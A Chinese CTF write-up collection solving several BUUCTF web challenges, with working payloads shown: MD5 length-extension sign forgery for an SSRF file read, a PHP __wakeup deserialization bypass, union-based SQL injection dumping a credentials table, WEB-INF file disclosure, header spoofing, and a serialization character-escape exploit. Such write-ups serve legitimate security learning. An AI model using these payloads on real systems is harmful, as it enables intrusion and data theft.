[De1CTF 2019]SSRF Me point 1

题目说是ssrf,看看先。访问一下是一串代码。排版后重新看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

这里有根目录和2个可以访问的子目录,且子目录下有自己的处理函数。

1
2
3
/           -> index() scan() ...等
/geneSign -> def geneSign()
/De1ta -> def challenge()

主要是理解代码,干了些什么事。
当我们访问网站时,是在根目录下。

1
Index() 函数给出了我们代码: code.txt

然后另外几个函数,来慢慢分析。从最后看起,先看 waf,关键就下面2句。

1
2
3
4
5
param 变量去空格转小写。
check=param.strip().lower()

判断param 参数是否以 gopher ,file 开头。若是,返回真,反之返回否。
check.startswith("gopher") or check.startswith("file"):

md5 就是用来加密的。

1
2
def md5(content):
return hashlib.md5(content).hexdigest()

getSign 就是把 secert_key,param 和 action 变量传递给 md5 函数,进行加密。

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

scan 函数,通过 urlopen 来操作参数 param。因为题目说是 SSRF ,那这里就是关键。 param 参数应该就是我们能控制的,那么根据之前做过的题:[网鼎杯 2018]Fakebook,可以知道,这个 param 多半就是用来读取 flag 文件的。

1
urllib.urlopen(param).read()[:50]

接着看 /De1ta 的 challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
从cookie中读入 action 参数的内容
action = urllib.unquote(request.cookies.get("action"))

从读入 param
param = urllib.unquote(request.args.get("param", ""))

从cookie中读入 sign
sign = urllib.unquote(request.cookies.get("sign"))

IP 地址
ip = request.remote_addr

调用 waf 函数,判断 param 中有没有 gopher,file。有就返回错
if(waf(param)):
return "No Hacker!!!!"

调用Task ,传递4个参数
task = Task(action, param, sign, ip)

执行 task.Exec,然后 json.dumps 处理返回数据
return json.dumps(task.Exec())

在来看看 /geneSign

1
2
3
4
5
6
7
8
从访问头里的 param 读取内容
param = urllib.unquote(request.args.get("param", ""))

设置 action 变量,默认值 scan
action = "scan"

调用 getSign,实际上就是加密数据。
return getSign(action, param)

最后,还有个 Task 类。里面有个很长的函数:Exec ,还有个 checkSign。

1
2
3
4
5
6
checkSign 实际上就是调用getSign 加密数据,然后与 sign 字段比较。
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

Exec 函数的内容比较丰富。简单说。

1
2
3
4
5
6
7
8
9
10
11
12
13
当参数 param,action 经过getSign加密,然后与 sign 相等的时候,就进入 if 判断中。
if (self.checkSign()):
...
当 action 变量中有 scan 字符串
if "scan" in self.action:
...
调用 scan 函数 ,这里scan 函数中通过 urlopen 打开 param,并读取内容,写到 result.txt 中。
resp = scan(self.param)
...
当 action 中有 read 就读取 result.txt 的内容到返回结果中。
if "read" in self.action:
...
result['data'] = f.read()

那么这里,SSRF触发就在 scan 中,所以我们传递的变量 action 中要有 scan。这里才能触发SSRF。但是要先通过self.checkSign() ,那么通过 self.checkSign() 的时候,判断是param,action 经过 md5加密,与 sign相等。
那么,攻击目的应该是:

  • 首先我们传递 sign 是一个 md5 值,传入的 action 中要有scan,param 中有要读取的文件flag.txt。且 action,param 经过加密后与 sign 相等。

要达到这个目的,那这里很明显难点在与如何让 action,param 经过加密后的md5值,与 sign 值相等。这里涉及到 md5 扩展攻击。(参考 CTF JarvisOJ flag在管理员手里)。

  • 根据md5扩展攻击中的内容可以知道,首先得有一个 md5 加密的初始值,且要知道初始加密的内容。举个例子。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    key = md5(secretkey+'x') ,x 是已知的,且 key 也是已知的。只是 secretkey 不知道。

    那么
    key2 = md5(secretkey+'x' + 'y') x 已知,y是我们需要加密的数据,secretkey 还是不知道。如何计算出 key2 呢。

    因为 key = md5(secretkey+'x') ,key 是已知的。
    根据md5加密的原理,这里 key2 的值,实际就是 key 去分段加密 y 而已。
    那这简单了。因为 key 已知 ,y 是我们控制的数据, 所以 key2 是能计算出的。
    所以,首先得有一个已知的 key 才行。
  • 子目录/geneSign 下的函数 geneSign() 可以用来获得 key ,因为它默认 action 为 scan ,我们只需要提供 param 。

那因为 param 要用来读取 flag.txt 文件,所以

1
2
3
4
5
6
7
key = md5(secretkey + 'action1' + param) 这里 geneSign 中 action1 默认是 scan。
所以
key = md5(secretkey + 'scan' + param)

key2 = md5(secretkey + 'action2' + param) 这里 action2 中要包含 scan,read。
所以
key2 = md5(secretkey + 'scanread'/'readscan' + param)

我们最后的判断是让 key 与 key2 相等。因为 param 是我们能控制的。所以能这样构造。

1
2
3
4
5
6
7
key = md5(secretkey + 'scan' + 'flag.txtread') 
key2 = md5(secretkey + 'readscan' + 'flag.txt')
这看起来也不相等,那么这样来看

key = md5(secretkey + 'flag.txtread' + 'scan')
key2 = md5(secretkey + 'flag.txt' + 'readscan')
这就相等了。(为什么相等~~,)

那么,我们访问 /geneSign?param=flag.txtread,得到 key

1
c1b1ef0058ed9a30d6af6712748a31a5

这个key 是与 key2 相等的,那 sign 也就是这个值咯。那么,再来访问

1
2
3
GET /De1ta?param=flag.txt HTTP/1.1
...
Cookie: action=readscan; sign=c1b1ef0058ed9a30d6af6712748a31a5

最后拿到

1
{"code": 200, "data": "flag{52f99ae2-5052-4a9a-9fa9-4a422a52c3ae}\n"}

[极客大挑战 2019]PHP point 1

打开题目,说有备份,用脚本爬下看到有。

1
2
3
4
root@kalifirmware:~/Desktop/other/ctfwebscan-master# python3 main.py -u http://7fc8c31b-72d5-45ae-91fd-e037506e4bad.node3.buuoj.cn/
200 http://7fc8c31b-72d5-45ae-91fd-e037506e4bad.node3.buuoj.cn/www.zip
200 http://7fc8c31b-72d5-45ae-91fd-e037506e4bad.node3.buuoj.cn/index.php
200 http://7fc8c31b-72d5-45ae-91fd-e037506e4bad.node3.buuoj.cn/flag.php

下载这个www.zip 看代码咯。主要是 class.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

这里有个知识点

1
2
3
4
5
_wakeup()方法绕过
(一个经常被用来出题的函数,CVE-2016-7124)
作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。
__wakeup()函数,在反序列化时,被自动调用。绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

这里代码意思是 username 必须是 admin ,password 必须是 100,同时要绕过 wakeup 函数。那就new Name ,给值。在序列化一下。

1
2
3
4
5
6
7
8
9
10
11
12
$x = new Name('admin',100);
echo serialize($x);
得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过 wakeup,改 Name 的值大于2就行

O:4:"Name":4:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

另外 由于变量 username password 都是私有变量,需要在字段名名前加%00

O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

那么怎么传参?在index.php 下有

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

用 select 传递。

1
2
3
/?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

flag{b8536c1a-8b86-4203-b19e-bfeec0513bfc}

参考:
https://blog.csdn.net/weixin_44077544/article/details/103542260

[极客大挑战 2019]Knife point 1

题目说他菜刀丢了。给了登陆口令,扫一下,啥都没有。
那尝试直接用这个口令连。

1
2
3
http://08d1fbad-9ad6-4b99-a803-9697b56f55f9.node3.buuoj.cn/index.php

Syc

蚁剑连上,在根目录下有个 falg文件,打开就是 flag。
参考:
https://www.fujieace.com/hacker/tools/antsword.html

[极客大挑战 2019]LoveSQL point 1

Sql注入,多试几次,用万能密码试出了admin的密码。

1
2
3
username = ' or '1'='1
password = ' or '1'='1'#
注入点就在 password。

这里可以用 sqlmap。但是题目上有行红色的小字:用 sqlmap 是没有灵魂的
hh ,那手动操作嘛。试试了union,没有什么过滤。那就来:

1
2
3
4
5
6
7
8
9
10
11
12
库名:
' union select 1,2,group_concat(schema_name) from information_schema.schemata;#
得到
'information_schema,test,performance_schema,mysql,geek'


' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();#
Your password is 'geekuser,l0ve1ysq1'


' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1';#
id,username,password

最后查数据:’ union select 1,username,group_concat(password) from l0ve1ysq1;#

1
2
Hello cl4y!
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{6bbd479d-aa54-46f7-bc2f-c52d953f9c73}'

[RoarCTF 2019]Easy Java point 1

题目打开,右键看源码。

1
<center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>

有个 help.docx 下载看看。啥都没有。日。看看人家WP。
明白了,GET 换 Post 可以读文件。发包的时候,右键 change request method。

1
2
3
4
POST /Download HTTP/1.1
...
...
filename=help.docx

然后读什么文件呢。。根据题目Easy java,那么网站应该是用Java搭建的,那么可以试试java源码泄露。

1
2
3
4
5
6
7
8
9
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

那就是读 WEB-INF/web.xml。来嘛

1
2
3
4
POST /Download HTTP/1.1
...
...
filename=WEB-INF/web.xml

返回的信息中有

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

看到有flag字样,路径是 com/wm/ctf/FlagController.class(这是个.class文件),注意是前面的路径是包含在 /WEB-INF/classes/ , 再来。

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

返回中

1
2
name FlagController <ZmxhZ3szMWYwYTMyNS02YmQ5LTQzZDktYjc1MC0yNmIzNTg0NzYxOWV9Cg==
解密得 flag{31f0a325-6bd9-43d9-b750-26b35847619e}

参考:
https://15h3na0.xyz/2020/02/08/RoarCTF2019/

[极客大挑战 2019]Http point 1

打开题目,burpsuite中看到有个 Sercet.php 。访问说我们不是来自 https://www.Sycsecret.com

根据前面的经验,应该是要指定我们来源IP为https://www.Sycsecret.com。那加个Referer 头。

1
2
3
4
5
6
7
Referer = https://www.Sycsecret.com
[Referer 请求头包含了当前请求页面的来源页面的地址]

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25156
Referer:https://www.Sycsecret.com
...

然后还要 “Syclover” browser,该User-Agent

1
2
3
4
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25156
Referer:https://www.Sycsecret.com
User-Agent: Syclover

接着要我们本地访问。与 JarvisOJ 中 LOCALHOST 题要求一致。加X-Forwarded-For

1
2
3
4
5
6
7
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25156
Referer:https://www.Sycsecret.com
X-Forwarded-For:127.0.0.1
User-Agent: Syclover
所以
flag{ca383d7c-a58e-4622-8113-fb6527b73036}

参考:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Forwarded-For

[0CTF 2016]piapiapia point 1

扫一下有www.zip 源码泄露。下来看看先,config.php。

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

这里有flag,那肯定最后是要读取这个文件。接着去看看profile.php

1
2
3
4
5
6
7
8
9
if($profile  == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

可以看到 $photo 这里,调用了 file_get_contents ,那就是这里用来读 config.php,拿flag。但是注意,$profile的变量是反序列化的,那传递的时候要先序列化一下。

接着看到有 register.php ,证明可以注册。那咱们先来注册一下。

1
2
admin  注意用户名和密码长度要大于 3 小于 16。 
1234

注册之后登陆,就来到了 update.php 。可以看到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    ...
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

...
}
else {}

这里用来处理我们在 update页面输入的数据。 photo 应该就是填 config.php。然后所有数据序列化处理,在调用 update_profile。这个函数在 class.php 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
...
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
...

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这里就是向数据库中更新数据,filter 作为一个过滤函数,update 函数就是包含 Mysql 的语句函数。 问题来了,怎么利用用哪个点呢。目前我们可以控制的有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$phone, $email, $nickname, $photo 
$photo 肯定要填 config.php
$phone, $email 都有规定的格式限制,那就之剩下 $nickname 。
--------------------------------------
strlen($_POST['nickname']) > 10
说明长度不超过10
--------------------------------------
来分析下$nickname 的正则表达

'/[^a-zA-Z0-9_]/'

- [ 标记一个中括号表达式的开始。要匹配 [,请使用 \[。
- ^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,当该符号在方括号表达式中使用时,表示不接受该方括号表达式中的字符集合
...

这个 ^ 符号根据解释,当我们使用 [] 时,它不会匹配方括号里面的东西。
那说明 $nickname = [] ,就绕过这个匹配规则了。

那接下来涉及到该题的考点,PHP序列化长度变化导致字符逃逸。这里的思路是:

  • 利用 $nickname = [] ,填充数据。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    举个例子:
    $profile['phone'] = '12345678901';
    $profile['email'] = '123@qq.com';
    $profile['nickname'] = 'f007';
    $file['name'] ='config.php';
    $profile['photo'] = 'upload/' . md5($file['name']);

    $xx = serialize($profile);
    echo $xx;
    序列化数据:
    a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:4:"f007";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}

    可以看到$profile['photo'] 实际就是对应这段数据:s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}

我们想要的是 $profile[‘photo’] = ‘config.php’,再来

1
2
3
4
5
6
7
8
9
10
$profile['phone'] = '12345678901';
$profile['email'] = '123@qq.com';
$profile['nickname'] = 'f007';
$profile['photo'] = 'config.php';
$xx = serialize($profile);
echo $xx;

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:4:"f007";s:5:"photo";s:10:"config.php";}

$profile['photo'] = s:5:"photo";s:10:"config.php";}

那么,我们可以传入的 nickname 就要包含 s:10:”config.php”;},然后把真正的后面的 photo 数据挤出去。怎么挤呢。就是前面提到的 - PHP序列化长度变化导致字符逃逸。
怎么做,下面来分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
我们知道代码的流程是:传入数据之后,在进行序列化,假设 
$profile['nickname'] = 'f007';
$profile['photo'] = 'config.php';
长度是固定的了,也就是4。

现在需要把 $profile['photo'] 对应的 s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}
变成
s:5:"photo";s:10:"config.php";}

那办法就是用前面 $profile['nickname'] ,把这个变量的长度给改变了,然后把后面的数据挤出去。怎么改变,如下:

把 f007 替换成更长的数据,比如 f0078。
s:4:"f007";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}
那替换了就是
s:4:"f0078";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}
这样后面 } 就会被挤出去。

那原题实际上我们要挤出去的数据是:s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

我们传入的 $profile['nickname'] 要包含:s:5:"photo";s:10:"config.php";}

又因为 nickname 是个数组,所以最终要添加的数据是: ";}s:5:"photo";s:10:"config.php";}
长度是34个字符。

题目里面提供的 filter 函数就可以这样操作,它把 where 替换为 hacker ,多一个字符,我们要添加34个字符,所以要34个where。
那么最后,发的包就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
..省略.
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}
..省略.

返回的界面右键源码,打开看到一个md5值,解密,得
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9a18e2ed-7362-47fc-824b-3136872434ea}';
?>